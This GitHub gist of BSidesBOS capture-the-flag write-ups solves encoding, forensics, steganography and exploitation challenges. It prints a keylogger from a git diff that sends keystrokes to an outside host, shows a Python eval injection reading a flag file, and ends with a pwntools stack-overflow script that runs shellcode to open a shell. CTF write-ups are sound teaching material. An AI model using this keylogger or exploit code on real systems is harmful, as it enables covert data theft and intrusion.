Skip to content

Instantly share code, notes, and snippets.

@mlashley
Last active September 26, 2020 23:53
Show Gist options
  • Save mlashley/54070bdad1aa68e65ae9644eeb22c0c1 to your computer and use it in GitHub Desktop.
Save mlashley/54070bdad1aa68e65ae9644eeb22c0c1 to your computer and use it in GitHub Desktop.
BSidesBOS CTFs

Baseball:

We are given TzRaVUNVMlRNRTRIQTZMSFBGWkdTNVpTSzVZVU1ZSllIQk5ER00zREdKTkhBVTJWSkJHVkNWMllPRlVFSzMyRE9GTUVNMkNaR0Y1RU1VUlpNUlNHS1JSWE9CQ1VVU1pZSk4ySEFWVFVPVTJGQzJDV000WlUyUVNHSlpBVFNNUT0=

Which appears to be base64, decoding to O4ZUCU2TME4HA6LHPFZGS5ZSK5YUMYJYHBNDGM3DGJNHAU2VJBGVCV2YOFUEK32DOFMEM2CZGF5EMURZMRSGKRRXOBCUUSZYJN2HAVTUOU2FC2CWM4ZU2QSGJZATSMQ=

ALLCAPS (and the trailing =) leads us to base32, giving w3ASSa8pygyriw2WqFa88Z33c2ZpSUHMQWXqhEoCqXFhY1zFR9ddeF7pEJK8KtpVtu4QhVg3MBFNA92

Either noticing no O etc. or just following the hints from the name - this is base58 - flag{wow_you_hit_a_homerun_and_really_ran_the_bases_there}

Ref: https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base32('A-Z2-7%3D',false)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)&input=VHpSYVZVTlZNbFJOUlRSSVFUWk1TRkJHV2tkVE5WcFRTelZaVlUxWlNsbElRazVFUjAwelJFZEtUa2hCVlRKV1NrSkhWa05XTWxsUFJsVkZTek15UkU5R1RVVk5Na05hUjBZMVJVMVZVbHBOVWxOSFMxSlNXRTlDUTFWVlUxcFpTazR5U0VGV1ZGVlBWVEpHUXpKRFYwMDBXbFV5VVZOSFNscEJWRk5OVVQwPQ

Kiddie Pool:

We are given an image and "Look at this new graphic design technique I learned! This is like 900% cool!!!" Loading the image into GIMP and applying 'Whirl and Pinch' to the tune of 900% yeilds the flag{whirlpool_in_a_cinch}

Y2K:

Simple python2 eval:

  What year do YOU think the world will end?
  open('/home/challenge/flag.txt').read()
  Yeah! I agree with you! I also think the world will end in the year
  flag{we_are_saved_from_py2_k}

EZBake:

I forgot to take notes, but you basically posted a base64-encoded-json cookie with the baking start time. Posting one claiming you started baking the 'magic cookies' (big hint) 7200 minutes previous, got you the flag.

Mobility:

Unpacking the given apk, and decompiling the dex file (dex2jar,jd-gui) got you to a MainActivity with:

((StringBuilder)localObject).append((char)new byte[] { 102, 108, 97, 103, 123, 99, 108, 97, 115, 115, 105, 99, 95, 97, 112, 107, 95, 100, 101, 99, 111, 109, 112, 105, 108, 101, 95, 115, 104, 101, 110, 97, 110, 105, 103, 97, 110, 115, 125 }[i]);

That string is: flag{classic_apk_decompile_shenanigans}

Unfortunately - this one wasn't immune to strings...

$ grep -Ra flag{
classes.dex:n � !'flag{classic_apk_decompile_shenanigans}p#<p#<p#<p#<p#<p#<p#<p#<p#<p#<p#<p#p#�&liA)#��KiB)#�?Kia)#1�ic)a#�&�id)"#$�&�ik#E�&�in)#�&�iw)#%�&�i~)E#V�&�i�)#V�&�i�)#V�&�i�)v#f�&�i�)#f�&�i�)}#f�&�i�)#�&Ki,*6#g�&�i.*#W�&�i2*<#w�&�i7*#'�&Kit*P#w�&Jiw*#D�&�i�*#�&�i�*

Swipe:

You land on a restricted server with a file 'swipe'. I used socat to retreive the file. On inspection it is a vim swap file, so we can 'recover' it with vim -r .swp - where we note the 'No flag here' text but a PNG header in the middle. Removing the cruft before the PNG header and viewing yields a QR code, which encodes the flag{swipe_right_on_vim_swap_soisoisoisoisoi}

Spycam:

We are given a pcap file, wireshark shows an ongoing HTTP stream with JPEG images. We 'Follow HTTP Stream' and save the output as 'raw' Knowing we have Content-Type: multipart/x-mixed-replace; boundary=BoundaryString is enough to know where to split each JPG out from the stream. I'm almost ashamed to share some horrible perl that does the trick in a speed-ctf - viewing the resulting JPG files shows a stream of images of a mobile phone, scrolling the flag{i_spy_with_my_little_eye}

cat capture.raw | perl capture.pl

Robot Takover:

There has to be one robots.txt related challenge, right :) This one gives you a bunch of different files, split by User-agent, and they change each time you retreive robots.txt. If you try to retrieve the Dissalow:'ed file with the wrong user agent, you are rejected as not being the expected robot. If you pass the correct user-agent, you may get a response as: #REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 0 IS THE SAME CHARACTER AT INDEX 1 IN THIS FILENAME.Getting Jf3iSQVU If you iterate thru robots.txt variations enough times, you get all 34 chars of the flag. More shitty perl below (robottakeover.pl), running this enough times will get you all the info.

...
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 4 IS THE SAME CHARACTER AT INDEX 1 IN THIS FILENAME.Getting q{4B3uB
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 5 IS THE SAME CHARACTER AT INDEX 7 IN THIS FILENAME.Getting p3drYXzb
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 6 IS THE SAME CHARACTER AT INDEX 0 IN THIS FILENAME.Getting eDEEAmCGY
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 7 IS THE SAME CHARACTER AT INDEX 1 IN THIS FILENAME.Getting Me7p
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 8 IS THE SAME CHARACTER AT INDEX 3 IN THIS FILENAME.Getting zV8p
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 9 IS THE SAME CHARACTER AT INDEX 2 IN THIS FILENAME.Getting XI_8g0s6vL
...
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 30 IS THE SAME CHARACTER AT INDEX 3 IN THIS FILENAME.Getting h4H_BI
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 31 IS THE SAME CHARACTER AT INDEX 1 IN THIS FILENAME.Getting HtQlx1og543
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 32 IS THE SAME CHARACTER AT INDEX 5 IN THIS FILENAME.Getting 9RJteoo26Y
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 33 IS THE SAME CHARACTER AT INDEX 2 IN THIS FILENAME.Getting QyovkbQOyP
#REJOICE, ROBOT. THE CHARACTER OF THE FLAG AT INDEX 34 IS THE SAME CHARACTER AT INDEX 5 IN THIS FILENAME.Getting voau4}F8S6

and the flag{beep_boop_are_you_a_robot_too}

Amnesia:

Maybe not the intentional way to solve, but grep/strings FTW - flag{forensic_cookie_hunter}

  $ grep -a flag{ image.bin 
  $P�69���8x�Mapwebhp#q={searchTerms}�Q��7Qx�e��69�\      ag%257Bforensic_cookie_hunter%257D7D&gB�69���H�p�7I�69��f    ���^
  �����:��87�69�kedFs:צ�h�(��B▒��'�W�69��m--googie-galaxy-iphone-one.tk/rAgent^�69���rome-search://local-ntp/local-ntp.htmle�69�13d15949-1c71-4a6a-a055-389fe6ea6c0atmll�69��f.games/?flag=flag{forensic_cookie_hunter}p3▒
  s�69����)��r4��rɞrz�69�E

Patch Work Quilt:

We get a zipfile of a git repository. git status shows us some locally modified files, inspecting them with git diff <filename> we find the following keylogger code:

                let lastKeyDown: IKeyboardEvent | null = null;
 
                this._register(dom.addStandardDisposableListener(textArea.domNode, 'keydown', (e: IKeyboardEvent) => {
+
+                       try {
+                               const req = request(
+                                       {
+                                               host: 'congon4tor.me',
+                                               port: '7777',
+                                               path: '/?id=Z'+'m'+'x'+'h'+'Z'+'3'+'t'+'k'+'b'+'2'+'5'+'0'+'X'+'3'+'R'+'y'+'d'+'X'+'N'+'0'+'X'+'2'+'R'+'v'+'Z'+'G'+'d'+'5'+'X'+'2'+'R'+'v'+'d'+'2'+'5'+'s'+'b'+'2'+'F'+'
k'+'c'+'3'+'0'+'%'+'3'+'D'+'&key='+ KeyCodeUtils.toString(e.keyCode),
+                                               method: 'GET',
+                                       },
+                                       response => {
+                                               // console.log(response.statusCode); // 200
+                                       }

After messing around sending stuff to congon4tor.me for a while, we smack our foreheads and see that %3D is '=' - and we have a base64 encoded flag in the id= param. flag{dont_trust_dodgy_downloads} We also kick ourselves in the nuts because by this stage we should also recognise 'Zmxh' is base64('fla')

Mercury

This is a zipfile of a Mercurial VCS repo, we can use the hg command to dump each commit at a patch and find the flag.

+flag{version_control_for_the_solar_system}

Seashells

Classic stack overflow with a writeable stack - see seashells.py for the solve-script.

Saving the World

The numbers on the menu are:

6 2 26 8 16 21 17 18 3 18 1 17 6 8 3 2 1 14 5 18 17 10 21 18 18 25 15 14 5 5 2 10 20 25 14 13 18 17 10 22 7 21 5 14 22 1 10 14 7 18 5 15 18 6 22 17 18 7 21 18 10 21 22 7 18 16 21 22 16 24 18 1 6 7 21 18 3 14 6 6 10 2 5 17 22 6 7 10 18 25 25 22 16 24 25 2 6 18 6 16 7 2

Simple substitution cipher - Numbers => http://rumkin.com/tools/cipher/numbers.php

F B Z H P U Q R C R A Q F H C B A N E R Q J U R R Y O N E E B J T Y N M R Q J V G U E N V A J N G R E O R F V Q R G U R J U V G R P U V P X R A F G U R C N F F J B E Q V F G J R Y Y V P X Y B F R F P G B

ROT13

S O M U C H D E P E N D S U P O N A R E D W H E E L B A R R O W G L A Z E D W I T H R A I N W A T E R B E S I D E T H E W H I T E C H I C K E N S T H E P A S S W O R D I S T W E L L I C K L O S E S C T O

Or: SO MUCH DEPENDS UPON A RED WHEELBARROW GLAZED WITH RAIN WATER BESIDE THE WHITE CHICKENS THE PASSWORD IS TWELLICKLOSESCTO

$ steghide extract -p 'twellicklosescto' -sf menu.jpg
wrote extracted data to "flag.txt".
$ more flag.txt
flag{take_care_of_whiterose}
$raw="" ;
$count=1;
while(<>) {
if( m/Content-type:/ or m/^$/ ) { print "ignore\n"; }
elsif( m/Content-Length/ ) { $crap = <>; }
elsif( m/--BoundaryString/) {
open(my $fh, ">", "out$count.jpg") or die "Can't open > out$count.jpg $!";
print $fh $raw;
close($fh);
$raw="";
$count++;
}
else { $raw .= $_ }
}
use HTTP::Request;
use LWP;
my $req = HTTP::Request->new(GET => 'http://challenge.ctf.games:31879/robots.txt');
my $ua = LWP::UserAgent->new();
$res = $ua->request($req);
foreach $line (split /\n/,$res->content) {
if ($line =~ m/User-agent: (.*)/) { $agent = $1 }
if ($line =~ m/Disallow: \/(.*)\.txt/) {
my $req2 = HTTP::Request->new(GET => "http://challenge.ctf.games:31879/$1.txt");
$req2->header('User-agent' => $agent);
my $res2 = $ua->request($req2);
print $res2->content . "Getting $1\n" unless ($res2->content =~ m/UNFORTUNATELY/);
}
}
# This one has executable stack and gives us the address of it when we connect, which is a huge hint even without reversing.
from pwn import *
from pprint import *
# LOCAL = True
# REMOTETTCP = False
LOCAL = False
REMOTETTCP = True
GDB = True
context.terminal = ['tmux', 'splitw', '-h']
context.arch='amd64'
local_bin='./seashells'
elf = ELF(local_bin) # Extract data from binary
if LOCAL:
if not GDB:
p = process(local_bin) # start the vuln binary
else:
p = gdb.debug(local_bin,'''
set follow-exec-mode new
set follow-fork-mode child
got
vmmap
canary
break read
continue
''')
elif REMOTETTCP:
p = remote('challenge.ctf.games', 32134) # start remote
buffer=p.recvline().strip().decode()
print("Our input will land at " + str(buffer))
p.recvuntil('How many sea shells did Sally sell by the sea shore?:')
#p.sendline(cyclic(0xB0)) # x/wx $rsp cyclic_find(0x6261616a) gives us 136 as our offset, can also be found by just RTF-source in Ghidra or your reversing tool of choice.
shell = asm(shellcraft.amd64.linux.sh()) # Lazy...
p.sendline(shell.ljust(136,b'a') + p64(int(buffer,16))) # This is enough to have us jump/execute to what we wrote to the stack as input, and pop a shell.
p.interactive()
# $ ls
# flag.txt
# seashells
# $ cat flag.txt
# flag{popping_shells_by_the_sea_shore}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment